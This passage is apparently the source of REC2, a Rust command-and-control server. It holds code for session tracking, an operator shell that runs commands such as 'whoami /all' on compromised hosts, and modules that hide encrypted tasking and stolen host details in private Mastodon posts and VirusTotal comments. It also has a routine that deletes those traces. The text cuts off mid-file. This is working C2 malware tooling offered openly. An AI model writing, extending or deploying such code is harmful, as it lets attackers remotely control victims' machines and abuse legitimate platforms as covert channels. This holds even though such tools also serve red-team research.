sessions.len() { 76 | env.selected_session_id = id; 77 | env.information_target = format!("{}@{}", 78 | sessions[env.selected_session_id as usize - 1].user, 79 | sessions[env.selected_session_id as usize - 1].hostname 80 | ); 81 | } 82 | else { 83 | error!("Session id not found..."); 84 | } 85 | } 86 | 87 | /// Function to attach session id 88 | pub fn background_sessions( 89 | env: &mut Environnement, 90 | ) { 91 | env.selected_session_id = 0; 92 | println!("Session in background.."); 93 | } 94 | 95 | 96 | /// Function to parse and push sessions in the vector 97 | fn parse_sessions( 98 | default_args: &Options, 99 | result_spoiler: Vec, 100 | result_content: Vec, 101 | sessions: &mut Vec, 102 | ) { 103 | let mut already_get = false; 104 | for i in 0..result_content.len() { 105 | let (_msg_type, session_hash, _job_hash) = parse_session_spoiler(&result_spoiler[i]); 106 | for j in 0..sessions.len() { 107 | if sessions[j].hash.contains(&session_hash) { 108 | trace!("Session '{}' already saved..",&session_hash); 109 | already_get = true; 110 | } 111 | } 112 | if !already_get { 113 | let (username, hostname, os) = parse_newsessioninfo(&result_content[i], &default_args.key); 114 | sessions.push( 115 | Session { 116 | id: (sessions.len() as u32 + 1), 117 | hash: session_hash.to_owned(), 118 | user: username, 119 | hostname: hostname, 120 | os: os, 121 | available: true, 122 | } 123 | ); 124 | } 125 | } 126 | } 127 | 128 | /// Function to display sessions 129 | pub fn display_sessions(sessions: &mut Vec) { 130 | if sessions.len() != 0 { 131 | for session in sessions { 132 | if session.available == true { 133 | let mut username = session.user.green().bold(); 134 | if session.user.to_lowercase().contains("root") || session.user.to_lowercase().contains("system") || session.user.to_lowercase().contains("administrat") { 135 | username = session.user.red().bold() 136 | } 137 | println!("{:<4}{}","", 138 | format!("SESSION_ID:{:<2} HASH:{:<8} USER:{:<8} HOSTNAME:{:<18} OS:{:15}", 139 | (session.id).to_string().green().bold(), 140 | (session.hash).to_string().green().bold(), 141 | username, 142 | session.hostname.green().bold(), 143 | session.os.green().bold(), 144 | ) 145 | ); 146 | } 147 | } 148 | } else { 149 | println!("No sessions.."); 150 | } 151 | } 152 | 153 | /// Function to delete all jobs for the current session 154 | pub async fn remove_all_jobs_for_all_sessions( 155 | default_args: &Options, 156 | ) { 157 | match &default_args.social { 158 | Social::Mastodon => { 159 | // Remove QUES: and RESP: / PART: for job hash 160 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url); 161 | // QUES 162 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments( 163 | &url, 164 | default_args.token.to_string(), 165 | topic.to_owned(), 166 | format!("QUES:",).to_string(), 167 | ).await; 168 | for id in post_id { 169 | rec2mastodon::remove_mastodon_comment( 170 | &url, 171 | default_args.token.to_string(), 172 | id.to_owned(), 173 | ).await; 174 | debug!("Comment ID:{} deleted!",id); 175 | } 176 | // RESP 177 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments( 178 | &url, 179 | default_args.token.to_string(), 180 | topic.to_owned(), 181 | format!("RESP:",).to_string(), 182 | ).await; 183 | for id in post_id { 184 | rec2mastodon::remove_mastodon_comment( 185 | &url, 186 | default_args.token.to_string(), 187 | id.to_owned(), 188 | ).await; 189 | debug!("Comment ID:{} deleted!",id); 190 | } 191 | // PART 192 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments( 193 | &url, 194 | default_args.token.to_string(), 195 | topic.to_owned(), 196 | format!("PART:",).to_string(), 197 | ).await; 198 | for id in post_id { 199 | rec2mastodon::remove_mastodon_comment( 200 | &url, 201 | default_args.token.to_string(), 202 | id.to_owned(), 203 | ).await; 204 | debug!("Comment ID:{} deleted!",id); 205 | } 206 | println!("All topic status removed on Mastodon!"); 207 | } 208 | _ => { 209 | error!("Remove all jobs not configured for Social::{:?}",&default_args.social); 210 | } 211 | } 212 | } 213 | 214 | /// Function to delete all jobs for the current session 215 | pub async fn kill_session( 216 | default_args: &Options, 217 | session_id: u32, 218 | sessions: &mut Vec, 219 | ) { 220 | match &default_args.social { 221 | Social::Mastodon => { 222 | //TODO 223 | 224 | } 225 | Social::VirusTotal => { 226 | // Remove sessions from external network and in Vec 227 | if session_id == 0 { 228 | println!("{:<4}{} for more information","","kill --help".bold()); 229 | } 230 | else { 231 | let (_url,vtype, resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url); 232 | let mut disabled = false; 233 | for session in sessions { 234 | if session.id == session_id { 235 | let (_result_spoiler,_result_content,post_id) = rec2virustotal::virustotal_get_comments( 236 | &default_args.token, 237 | &resource_id, 238 | &vtype, 239 | format!(":{}",&session.hash).to_string(), 240 | ).await; 241 | for id in post_id { 242 | rec2virustotal::virustotal_delete_topic_comment( 243 | &default_args.token, 244 | &id, 245 | ).await; 246 | debug!("Unlink session ID:{} with comment ID:{} deleted!",&session.hash,&id); 247 | println!("Session {}:{} killed!",&session_id.to_string().red().bold(),&session.hash.red().bold()); 248 | disabled =true; 249 | } 250 | session.available = false; 251 | } 252 | } 253 | if !disabled { 254 | error!("No session to kill with this ID.."); 255 | } 256 | } 257 | } 258 | _ => { 259 | error!("Kill session function not configured for Social::{:?}",&default_args.social); 260 | } 261 | } 262 | } 263 | 264 | /// Function to parse new session format 265 | fn parse_newsessioninfo(content: &String, aes_key: &String) -> (String, String, String) { 266 | // Decode hexa data in Mastodon comment 267 | let decoded = common::display_vecu8(&crypto::aes_decrypt(&hex::decode(&content.to_owned().to_string()).unwrap()[..], &aes_key.as_bytes())); 268 | 269 | // Parse it to get Username 270 | let re = Regex::new(r"^([a-zA-Z0-9@\-_+/\.\s]{2,}):-:[a-zA-Z0-9@\-_+/\.\s]{2,}:-:[a-zA-Z0-9@\-_+/\.\s]{2,}").unwrap(); 271 | let caps = re.captures(&decoded.as_str()).unwrap(); 272 | let hostname = caps.get(1).map_or("", |m| m.as_str()).to_string(); 273 | trace!("{}",format!("{:<15}: {}","HOSTNAME:".cyan().bold(),&hostname)); 274 | 275 | // Parse it to get Hostname 276 | let re = Regex::new(r"^[a-zA-Z0-9@\-_+/\.\s]{2,}:-:([a-zA-Z0-9@\-_+/\.\s]{2,}):-:[a-zA-Z0-9@\-_+/\.\s]{2,}").unwrap(); 277 | let caps = re.captures(&decoded.as_str()).unwrap(); 278 | let username = caps.get(1).map_or("", |m| m.as_str()).to_string(); 279 | trace!("{}",format!("{:<15}: {}","USERNAME".cyan().bold(),&username)); 280 | 281 | // Parse it to get OS 282 | let re = Regex::new(r"^[a-zA-Z0-9@\-_+/\.\s]{2,}:-:[a-zA-Z0-9@\-_+/\.\s]{2,}:-:([a-zA-Z0-9@\-_+/\.\s]{2,})").unwrap(); 283 | let caps = re.captures(&decoded.as_str()).unwrap(); 284 | let os = caps.get(1).map_or("", |m| m.as_str()).to_string(); 285 | trace!("{}",format!("{:<15}: {}","OS".cyan().bold(),&os)); 286 | 287 | return (username, hostname, os) 288 | } 289 | 290 | /// Function to parse session spoiler 291 | fn parse_session_spoiler(spoiler: &String) -> (String, String, String) { 292 | let re = Regex::new(r"^([A-Z0-9]{4,}):[a-zA-Z0-9]{8}:[a-zA-Z0-9]{6}:").unwrap(); 293 | let caps = re.captures(&spoiler).unwrap(); 294 | let msg_type = caps.get(1).map_or("", |m| m.as_str()).to_string(); 295 | debug!("{}",format!("{:<15}: {}","MSG_TYPE:".cyan().bold(),&msg_type)); 296 | 297 | let re = Regex::new(r"^[A-Z0-9]{4,}:([a-zA-Z0-9]{8}):").unwrap(); 298 | let caps = re.captures(&spoiler).unwrap(); 299 | let session_hash = caps.get(1).map_or("", |m| m.as_str()).to_string(); 300 | debug!("{}",format!("{:<15}: {}","SESSION_HASH".cyan().bold(),&session_hash)); 301 | 302 | let re = Regex::new(r"^[A-Z0-9]{4,}:[a-zA-Z0-9]{8}:([a-zA-Z0-9]{6}):").unwrap(); 303 | let caps = re.captures(&spoiler).unwrap(); 304 | let job_hash = caps.get(1).map_or("", |m| m.as_str()).to_string(); 305 | debug!("{}",format!("{:<15}: {}","JOB_HASH".cyan().bold(),&job_hash)); 306 | 307 | return (msg_type, session_hash, job_hash) 308 | } -------------------------------------------------------------------------------- /server/src/c2/shell.rs: -------------------------------------------------------------------------------- 1 | //! Shell implementation 2 | use log::{debug,trace,error}; 3 | use std::process; 4 | use std::time::Duration; 5 | use colored::*; 6 | 7 | use rustyline::error::ReadlineError; 8 | use rustyline::{Result,DefaultEditor}; 9 | use shellwords::split; 10 | 11 | use clap::{Arg, ArgMatches, ArgAction, value_parser, Command}; 12 | use crate::args::{Options,Social}; 13 | use crate::c2::sessions::{Session,remove_all_jobs_for_all_sessions,kill_session}; 14 | use crate::c2::jobs::Job; 15 | use crate::c2::{get_sessions, set_session, background_sessions, display_sessions, display_jobs, exec_command, get_output_command}; 16 | use crate::modules::{rec2mastodon,rec2virustotal}; 17 | 18 | /// Default timeout after which tasks are backgrounded 19 | pub const EXEC_TIMEOUT: Duration = Duration::from_secs(60); 20 | /// Program succeeded. 21 | pub const EXIT_SUCCESS: i32 = 0; 22 | /// Program failed. 23 | pub const EXIT_FAILURE: i32 = 1; 24 | 25 | /// Modes exec, list, getoutput 26 | #[derive(Debug)] 27 | pub enum Mode { 28 | Infos, 29 | Exec, 30 | ListSessions, 31 | SetSessions, 32 | Background, 33 | ListJobs, 34 | GetOutput, 35 | Clear, 36 | Kill, 37 | Exit, 38 | Unknown, 39 | } 40 | 41 | /// Rustyline args 42 | #[derive(Debug)] 43 | pub struct Commands { 44 | pub mode: Mode, 45 | pub session_id: u32, 46 | pub job_id: u32, 47 | pub cmd: String, 48 | } 49 | 50 | /// Rustyline args 51 | #[derive(Debug)] 52 | pub struct Environnement { 53 | pub selected_session_id: u32, 54 | pub information_target: String, 55 | } 56 | 57 | // New empty command line for shell 58 | impl Commands { 59 | pub fn new() -> Option { 60 | Some(Commands { 61 | mode: Mode::Unknown, 62 | session_id: 00000, 63 | job_id: 00000, 64 | cmd: "no set".to_string(), 65 | }) 66 | } 67 | } 68 | 69 | /// Represents an interactive shell. 70 | #[allow(dead_code)] 71 | pub struct Shell { 72 | /// Initiale arguments from shell (token; url; aes key;) 73 | sargs: Options, 74 | } 75 | 76 | impl Shell { 77 | /// Instantiates terminal with social network mode 78 | pub async fn new(common_args: Options) -> Self { 79 | Shell { 80 | sargs: common_args, 81 | } 82 | } 83 | 84 | /// Start shell 85 | pub async fn run(&self) { 86 | // Read lines from shell 87 | Self::read_line(&self.sargs) 88 | .await 89 | .ok(); 90 | } 91 | 92 | /// Clap arguments in readlines shell 93 | fn cli() -> Command { 94 | Command::new("server") 95 | .about("Rusty External Command and Control, server") 96 | .subcommand_required(true) 97 | .arg_required_else_help(true) 98 | .allow_external_subcommands(true) 99 | .subcommand(Command::new("infos") 100 | .about("Get server C2 informations (url, token, aes key and more)") 101 | ) 102 | .subcommand(Command::new("sessions") 103 | .about("List all sessions or select one session") 104 | .arg(Arg::new("id") 105 | .short('i') 106 | .long("id") 107 | .help("session ID to select") 108 | .required(false) 109 | .value_parser(value_parser!(u32)) 110 | ) 111 | ) 112 | .subcommand(Command::new("background") 113 | .about("Put current session in the background") 114 | ) 115 | .subcommand(Command::new("jobs") 116 | .about("List all jobs") 117 | ) 118 | .subcommand(Command::new("clear") 119 | .about("Clear current topic") 120 | ) 121 | .subcommand(Command::new("exit") 122 | .about("Quit server") 123 | ) 124 | .subcommand( 125 | Command::new("exec") 126 | .about("Execute command on one session") 127 | .arg(Arg::new("id") 128 | .short('i') 129 | .long("id") 130 | .help("Session ID where to run command\nOptionnal if you already have session attached\n\nexec -i 1 -c \"whoami /all\"") 131 | .required(false) 132 | .value_parser(value_parser!(u32)) 133 | ) 134 | .arg(Arg::new("command") 135 | .short('c') 136 | .long("command") 137 | .help("Command to execute") 138 | .required(true) 139 | .action(ArgAction::Append) 140 | ) 141 | ) 142 | .subcommand( 143 | Command::new("get") 144 | .about("Get command output from one job") 145 | .arg(Arg::new("id") 146 | .short('i') 147 | .long("id") 148 | .help("Job ID link to command line") 149 | .required(true) 150 | .value_parser(value_parser!(u32)) 151 | ) 152 | ) 153 | .subcommand( 154 | Command::new("kill") 155 | .about("Kill one session") 156 | .arg(Arg::new("id") 157 | .short('i') 158 | .long("id") 159 | .help("Session ID to kill") 160 | .required(true) 161 | .value_parser(value_parser!(u32)) 162 | ) 163 | ) 164 | } 165 | 166 | /// Parsing clap arguments 167 | pub fn from_args( 168 | args: &[String], 169 | env: &mut Environnement, 170 | ) -> clap::error::Result> { 171 | let matches = Self::cli().try_get_matches_from(args)?; 172 | Self::from_matches(&matches,env) 173 | } 174 | 175 | /// Commands in readline rustyline return Commands struct 176 | fn from_matches( 177 | matches: &ArgMatches, 178 | env: &mut Environnement, 179 | ) -> clap::error::Result> { 180 | let mut mode = Mode::Unknown; 181 | let mut session_id: u32 = 00000; 182 | let mut job_id: u32 = 00000; 183 | let mut cmd = "".to_string(); 184 | 185 | match matches.subcommand() { 186 | Some(("exit", _sub_matches)) => { 187 | mode = Mode::Exit; 188 | } 189 | Some(("infos", _sub_matches)) => { 190 | mode = Mode::Infos; 191 | } 192 | Some(("sessions", sub_matches)) => { 193 | mode = Mode::ListSessions; 194 | if sub_matches.contains_id("id") { 195 | session_id = sub_matches.get_one::("id").map(|s| s.to_owned()).unwrap_or(0); 196 | if session_id != 0 { 197 | mode = Mode::SetSessions; 198 | } else { 199 | error!("Session cannot be 0!"); 200 | mode = Mode::Unknown; 201 | } 202 | } 203 | } 204 | Some(("background", _sub_matches)) => { 205 | mode = Mode::Background; 206 | } 207 | Some(("jobs", _sub_matches)) => { 208 | mode = Mode::ListJobs; 209 | } 210 | Some(("exec", sub_matches)) => { 211 | mode = Mode::Exec; 212 | session_id = sub_matches.get_one::("id").map(|s| s.to_owned()).unwrap_or(env.selected_session_id); 213 | if session_id == 0 { 214 | error!("Please select session ID with '-i' or attach one session with 'sessions -i ID'"); 215 | mode = Mode::Unknown; 216 | } 217 | cmd = sub_matches.get_one::("command").map(|s| s.to_owned()).unwrap(); 218 | } 219 | Some(("get", sub_matches)) => { 220 | mode = Mode::GetOutput; 221 | job_id = sub_matches.get_one::("id").map(|s| s.to_owned()).unwrap(); 222 | } 223 | Some(("clear", _sub_matches)) => { 224 | mode = Mode::Clear; 225 | } 226 | Some(("kill", sub_matches)) => { 227 | mode = Mode::Kill; 228 | session_id = sub_matches.get_one::("id").map(|s| s.to_owned()).unwrap(); 229 | } 230 | _ => {}, 231 | } 232 | 233 | Ok(Some(Commands { 234 | mode: mode, 235 | session_id: session_id, 236 | job_id: job_id, 237 | cmd: cmd.to_string(), 238 | })) 239 | } 240 | 241 | /// Build and run read_line 242 | async fn read_line( 243 | common_args: &Options, 244 | ) -> Result<()> { 245 | 246 | let mut rl = DefaultEditor::new()?; 247 | // Load previous history.txt 248 | if rl.load_history("history.txt").is_err() { 249 | trace!("No previous history."); 250 | } 251 | 252 | // Prepare Hashmap with sessions and jobs here 253 | let mut sessions: Vec = Vec::new(); 254 | let mut jobs: Vec = Vec::new(); 255 | let mut env: Environnement = Environnement{ 256 | selected_session_id: 0, 257 | information_target: "".to_string(), 258 | }; 259 | 260 | loop { 261 | let readline = rl.readline(Self::make_prompt(&common_args.social, &mut env, &sessions).as_str()); 262 | match readline { 263 | Ok(line) => { 264 | Self::handle_line( 265 | line, 266 | &mut rl, 267 | &common_args, 268 | &mut sessions, 269 | &mut jobs, 270 | &mut env, 271 | ) 272 | .await 273 | .ok(); 274 | } 275 | Err(ReadlineError::Interrupted) => { 276 | break; 277 | } 278 | _ => continue, 279 | } 280 | } 281 | Ok(()) 282 | } 283 | 284 | // Function to make prompt 'REC2:X> ' 285 | fn make_prompt( 286 | mode: &Social, 287 | env: &mut Environnement, 288 | sessions: &Vec, 289 | ) -> String { 290 | let mut _result = String::from("empty"); 291 | match mode { 292 | Social::Mastodon => { 293 | trace!("Set active session to {:?}",&env.selected_session_id); 294 | if env.selected_session_id > 0 && sessions.len() >= env.selected_session_id as usize { 295 | if sessions[env.selected_session_id as usize - 1].available == true { 296 | _result = format!("{}{}:{}:{}{}:{}> ", 297 | "REC".truecolor(30,30,30).bold().on_bright_white(), 298 | "2".red().bold().on_bright_white(), 299 | "Mastodon".truecolor(89,90,255).bold(), 300 | "SESS".truecolor(30,30,30).bold().on_bright_white(), 301 | env.selected_session_id.to_string().truecolor(204,0,204).bold().on_bright_white(), 302 | env.information_target.to_string().green().bold(), 303 | ) 304 | } else { 305 | error!("Selected session inactive or killed.."); 306 | _result = format!("{}{}:{}> ", 307 | "REC".truecolor(30,30,30).bold().on_bright_white(), 308 | "2".red().bold().on_bright_white(), 309 | "Mastodon".truecolor(89,90,255).bold(), 310 | ); 311 | env.selected_session_id = 0; 312 | } 313 | } 314 | else { 315 | _result = format!("{}{}:{}> ", 316 | "REC".truecolor(30,30,30).bold().on_bright_white(), 317 | "2".red().bold().on_bright_white(), 318 | "Mastodon".truecolor(89,90,255).bold(), 319 | ) 320 | } 321 | } 322 | Social::VirusTotal => { 323 | trace!("Set active session to {:?}",&env.selected_session_id); 324 | if env.selected_session_id > 0 && sessions.len() >= env.selected_session_id as usize { 325 | if sessions[env.selected_session_id as usize - 1].available == true { 326 | _result = format!("{}{}:{}:{}{}:{}> ", 327 | "REC".truecolor(30,30,30).bold().on_bright_white(), 328 | "2".red().bold().on_bright_white(), 329 | "VirusTotal".truecolor(11,77,218).bold(), 330 | "SESS".truecolor(30,30,30).bold().on_bright_white(), 331 | env.selected_session_id.to_string().truecolor(204,0,204).bold().on_bright_white(), 332 | env.information_target.to_string().green().bold(), 333 | ) 334 | } 335 | else { 336 | error!("Selected session inactive or killed.."); 337 | _result = format!("{}{}:{}> ", 338 | "REC".truecolor(30,30,30).bold().on_bright_white(), 339 | "2".red().bold().on_bright_white(), 340 | "VirusTotal".truecolor(11,77,218).bold() 341 | ); 342 | env.selected_session_id = 0; 343 | } 344 | } 345 | else { 346 | _result = format!("{}{}:{}> ", 347 | "REC".truecolor(30,30,30).bold().on_bright_white(), 348 | "2".red().bold().on_bright_white(), 349 | "VirusTotal".truecolor(11,77,218).bold() 350 | ) 351 | } 352 | } 353 | _ => { 354 | error!("Error making prompt for Social::{:?}", mode); 355 | process::exit(EXIT_FAILURE) 356 | } 357 | } 358 | return _result 359 | } 360 | 361 | /// Handle an input line 362 | async fn handle_line( 363 | line: String, 364 | rl: &mut DefaultEditor, 365 | default_args: &Options, 366 | sessions: &mut Vec, 367 | jobs: &mut Vec, 368 | env: &mut Environnement, 369 | ) -> Result<()> { 370 | // Rustyline terminal 371 | // Add new history line 372 | let _ = rl.add_history_entry(line.as_str()); 373 | #[warn(unused_must_use)] 374 | let result = rl.append_history("history.txt"); 375 | match result { 376 | Ok(result) => { trace!("Appending history ok: {:?}", result); } 377 | Err(err) => { error!("Error appending history: {:?}", err); } 378 | } 379 | 380 | // Prepare arguments, remove whitespace 381 | let mut args = match split(&line) { 382 | Ok(args) => { args } 383 | Err(err) => { error!("Can't parse command line: {err}"); vec!["".to_string()] } 384 | }; 385 | args.insert(0, "server".into()); 386 | 387 | // Parse options 388 | let commands = match Shell::from_args(&args,env) { 389 | Ok(commands) => commands, 390 | Err(err) => { 391 | println!("{}", err); 392 | return Ok(()); 393 | } 394 | }; 395 | 396 | // Match options mode and run action 397 | // commands == clap arguments in rustyline shell 398 | // default_args == clap arguments set in the default command line ./server x y 399 | if let Some(commands) = commands { 400 | match &commands.mode { 401 | Mode::Exit => { 402 | debug!("Calling function Exit.."); 403 | process::exit(EXIT_SUCCESS); 404 | }, 405 | Mode::Infos => { 406 | debug!("Calling function Infos.."); 407 | Self::get_infos(default_args); 408 | }, 409 | Mode::ListSessions => { 410 | debug!("Calling function List Sessions.."); 411 | get_sessions(default_args, sessions).await; 412 | display_sessions(sessions); 413 | }, 414 | Mode::SetSessions => { 415 | debug!("Calling function Set Session.."); 416 | set_session(commands.session_id, env, sessions); 417 | }, 418 | Mode::Background => { 419 | debug!("Calling function put current session in background.."); 420 | background_sessions(env); 421 | }, 422 | Mode::ListJobs => { 423 | debug!("Calling function List Jobs.."); 424 | display_jobs(jobs); 425 | }, 426 | Mode::Exec => { 427 | debug!("Calling function Exec.."); 428 | exec_command( 429 | default_args, 430 | commands.session_id, 431 | &commands.cmd, 432 | sessions, 433 | jobs, 434 | ).await; 435 | }, 436 | Mode::GetOutput => { 437 | debug!("Calling function GetOutput for job ID.."); 438 | get_output_command( 439 | default_args, 440 | commands.job_id, 441 | jobs, 442 | ).await; 443 | }, 444 | Mode::Clear => { 445 | debug!("Calling function Clear all jobs for this topic.."); 446 | remove_all_jobs_for_all_sessions( 447 | default_args, 448 | ).await; 449 | }, 450 | Mode::Kill => { 451 | debug!("Calling function Kill session.."); 452 | kill_session( 453 | default_args, 454 | commands.session_id, 455 | sessions, 456 | ).await; 457 | }, 458 | Mode::Unknown => { 459 | error!("Command not found..."); 460 | } 461 | } 462 | } 463 | Ok(()) 464 | } 465 | 466 | // Function to display all informations about Social Network selected 467 | fn get_infos(default_args: &Options) { 468 | match default_args.social { 469 | Social::Mastodon => { 470 | let (url, username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url); 471 | println!("{:<4}{}","",format!("{:<10}: {:?}","SOCIAL".cyan().bold(),default_args.social)); 472 | println!("{:<4}{}","",format!("{:<10}: {}","URL".cyan().bold(),&url)); 473 | println!("{:<4}{}","",format!("{:<10}: {}","USERNAME".cyan().bold(),&username)); 474 | println!("{:<4}{}","",format!("{:<10}: {}","TOPIC".cyan().bold(),&topic)); 475 | println!("{:<4}{}","",format!("{:<10}: {}","TOKEN".cyan().bold(),default_args.token)); 476 | println!("{:<4}{}","",format!("{:<10}: {}","AES KEY".cyan().bold(),default_args.key)); 477 | println!("{:<4}{}","",format!("{:<10}: {:?}","LOG LEVEL".cyan().bold(),default_args.verbose)); 478 | } 479 | Social::VirusTotal => { 480 | let (url, vtype, resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url); 481 | println!("{:<4}{}","",format!("{:<10}: {:?}","SOCIAL".cyan().bold(),default_args.social)); 482 | println!("{:<4}{}","",format!("{:<10}: {}","URL".cyan().bold(),&url)); 483 | println!("{:<4}{}","",format!("{:<10}: {:?}","TYPE".cyan().bold(),vtype)); 484 | println!("{:<4}{}","",format!("{:<10}: {}","ID".cyan().bold(),&resource_id)); 485 | println!("{:<4}{}","",format!("{:<10}: {}","API KEY".cyan().bold(),default_args.token)); 486 | println!("{:<4}{}","",format!("{:<10}: {}","AES KEY".cyan().bold(),default_args.key)); 487 | println!("{:<4}{}","",format!("{:<10}: {:?}","LOG LEVEL".cyan().bold(),default_args.verbose)); 488 | } 489 | Social::Unknown => { 490 | error!("Dont know this social network..") 491 | } 492 | } 493 | } 494 | } -------------------------------------------------------------------------------- /server/src/lib.rs: -------------------------------------------------------------------------------- 1 | //! 2 | //! REC2 (Rusty External C2 Server) 3 | //! 4 | pub mod utils; 5 | pub mod modules; 6 | pub mod c2; 7 | pub mod args; -------------------------------------------------------------------------------- /server/src/main.rs: -------------------------------------------------------------------------------- 1 | pub mod modules; 2 | pub mod utils; 3 | 4 | pub mod args; 5 | use args::*; 6 | 7 | pub mod c2; 8 | use c2::shell::Shell; 9 | 10 | use env_logger::Builder; 11 | use rustyline::Result; 12 | 13 | #[tokio::main] 14 | /// Main function to start C2 terminal 15 | async fn main() -> Result<()> { 16 | // Get args 17 | let common_args = extract_args(); 18 | // Build logger 19 | Builder::new() 20 | .filter(Some("server"), common_args.verbose) 21 | .filter_level(log::LevelFilter::Error) 22 | .init(); 23 | // Get shell prompt 24 | let _handle = Shell::new(common_args).await.run().await; 25 | Ok(()) 26 | } -------------------------------------------------------------------------------- /server/src/modules/mod.rs: -------------------------------------------------------------------------------- 1 | //! Social network for REC2 server 2 | #[doc(inline)] 3 | pub use rec2mastodon::*; 4 | pub use rec2virustotal::*; 5 | 6 | pub mod rec2mastodon; 7 | pub mod rec2virustotal; -------------------------------------------------------------------------------- /server/src/modules/rec2mastodon.rs: -------------------------------------------------------------------------------- 1 | use megalodon::{ 2 | generator, 3 | SNS, 4 | megalodon::GetStatusContextInputOptions, 5 | megalodon::PostStatusInputOptions, 6 | entities::status::StatusVisibility, 7 | }; 8 | use regex::Regex; 9 | use log::{debug,trace}; 10 | use colored::*; 11 | 12 | // 1- Function to parse URL to get url,username,topic_id 13 | // 2- Function to get topic comments 14 | // 3- Function to post comment in topic_id 15 | // 4- Function to remove comment status 16 | 17 | /// Function to parse Mastodon url 18 | pub fn parse_mastodon_url(full_url: &String) -> (String, String, String) { 19 | let re = Regex::new(r"^(https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/)").unwrap(); 20 | let caps = re.captures(&full_url).unwrap(); 21 | let url = caps.get(1).map_or("", |m| m.as_str()).to_string(); 22 | debug!("{}",format!("{:<10}: {}","URL".cyan().bold(),&url)); 23 | 24 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/@([a-zA-Z0-9_]{10,})/").unwrap(); 25 | let caps = re.captures(&full_url).unwrap(); 26 | let username = caps.get(1).map_or("", |m| m.as_str()).to_string(); 27 | debug!("{}",format!("{:<10}: {}","USERNAME".cyan().bold(),&username)); 28 | 29 | let re = Regex::new(r"([0-9]{10,})").unwrap(); 30 | let caps = re.captures(&full_url).unwrap(); 31 | let topic = caps.get(1).map_or("", |m| m.as_str()).to_string(); 32 | debug!("{}",format!("{:<10}: {}","TOPIC ID".cyan().bold(),&topic)); 33 | 34 | return (url, username, topic) 35 | } 36 | 37 | /// GET comment in one topic ID 38 | /// 39 | pub async fn mastodon_get_topic_comments( 40 | url: &String, 41 | access_token: String, 42 | topic_id: String, 43 | filter: String, 44 | ) -> (Vec, Vec, Option, Vec) { 45 | let client = generator( 46 | SNS::Mastodon, 47 | url.to_string(), 48 | Some(access_token), 49 | None); 50 | let status = client.get_status_context( 51 | topic_id, 52 | Some(&GetStatusContextInputOptions { 53 | limit: Some(9999), 54 | max_id: Some("".to_string()), 55 | since_id: Some("".to_string()), 56 | } 57 | )).await.expect("[-] Could not contact URL, please check it..\n"); 58 | let status = status.json().descendants; 59 | //debug!("{:?}",&status); 60 | let mut in_reply_to_id = Some("null".to_string()); 61 | let mut post_id: Vec = Vec::new(); 62 | // Result 63 | let mut result_spoiler: Vec = Vec::new(); 64 | let mut result_content: Vec = Vec::new(); 65 | 66 | // Comment by comment 67 | for s in status { 68 | //info!("{:?}",s.content); 69 | // If spoiler_text empty command to run and not an answer 70 | if s.spoiler_text.contains(&filter) { 71 | // If is hexa so it's encoded datas 72 | let re = Regex::new(r"[0-9a-f]+").unwrap(); 73 | for hexa in re.captures_iter(&s.content) 74 | { 75 | trace!("Getting comment in topic: {:?}",hexa[0].to_owned().to_string()); 76 | in_reply_to_id = s.to_owned().in_reply_to_id; 77 | post_id.push(s.to_owned().id); 78 | result_spoiler.push(s.spoiler_text.to_owned().to_string()); 79 | result_content.push(hexa[0].to_owned().to_string()); 80 | } 81 | } 82 | } 83 | return (result_spoiler,result_content,in_reply_to_id,post_id) 84 | } 85 | 86 | /// POST private answer 87 | /// 88 | /// 89 | pub async fn mastodon_post_topic_comment( 90 | url: &String, 91 | access_token: String, 92 | in_reply_to_id: Option, 93 | datas: String, 94 | sploiler_text: String, 95 | ) { 96 | let client = generator( 97 | SNS::Mastodon, 98 | url.to_string(), 99 | Some(access_token), 100 | None); 101 | let status = client.post_status( 102 | datas, 103 | Some(&PostStatusInputOptions { 104 | media_ids: Some(Vec::new()), 105 | in_reply_to_id: in_reply_to_id, 106 | sensitive: Some(true), 107 | visibility: Some(StatusVisibility::Private), 108 | language: Some("en".to_string()), 109 | spoiler_text: Some(sploiler_text), 110 | ..Default::default() 111 | }), 112 | ).await.expect("[-] Could not contact URL, please check it..\n"); 113 | let status = status.json(); 114 | debug!("Post answer ok"); 115 | trace!("Post answer {:?}", status); 116 | } 117 | 118 | /// Function to REMOVE comments status 119 | /// 120 | pub async fn remove_mastodon_comment( 121 | url: &String, 122 | access_token: String, 123 | id: String, 124 | ) { 125 | let client = generator( 126 | SNS::Mastodon, 127 | url.to_string(), 128 | Some(access_token), 129 | None); 130 | let _status = client.delete_status( 131 | id.to_owned(), 132 | ).await; 133 | debug!("Delete comment ID:{} from Mastodon topic",id); 134 | } -------------------------------------------------------------------------------- /server/src/modules/rec2virustotal.rs: -------------------------------------------------------------------------------- 1 | extern crate virustotal3; 2 | use virustotal3::*; 3 | 4 | use regex::Regex; 5 | use log::{debug,trace,error}; 6 | use colored::*; 7 | 8 | // 1- Function to parse URL to get url,vt_type,id 9 | // 2- Function to get comments 10 | // 3- Function to post comment 11 | // 4- Function to remove comment 12 | 13 | /// Function to parse Virustotal url 14 | pub fn parse_virustotal_url(full_url: &String) -> (String,VtType,String) { 15 | // https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d 16 | let re = Regex::new(r"^(https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/)").unwrap(); 17 | let caps = re.captures(&full_url).unwrap(); 18 | let url = caps.get(1).map_or("", |m| m.as_str()).to_string(); 19 | debug!("{}",format!("{:<10}: {}","URL".cyan().bold(),&url)); 20 | 21 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/gui/([a-z-]{2,})/[a-zA-Z0-9.()]{3,}").unwrap(); 22 | let caps = re.captures(&full_url).unwrap(); 23 | let vtype = caps.get(1).map_or("", |m| m.as_str()); 24 | let mut vt_type = 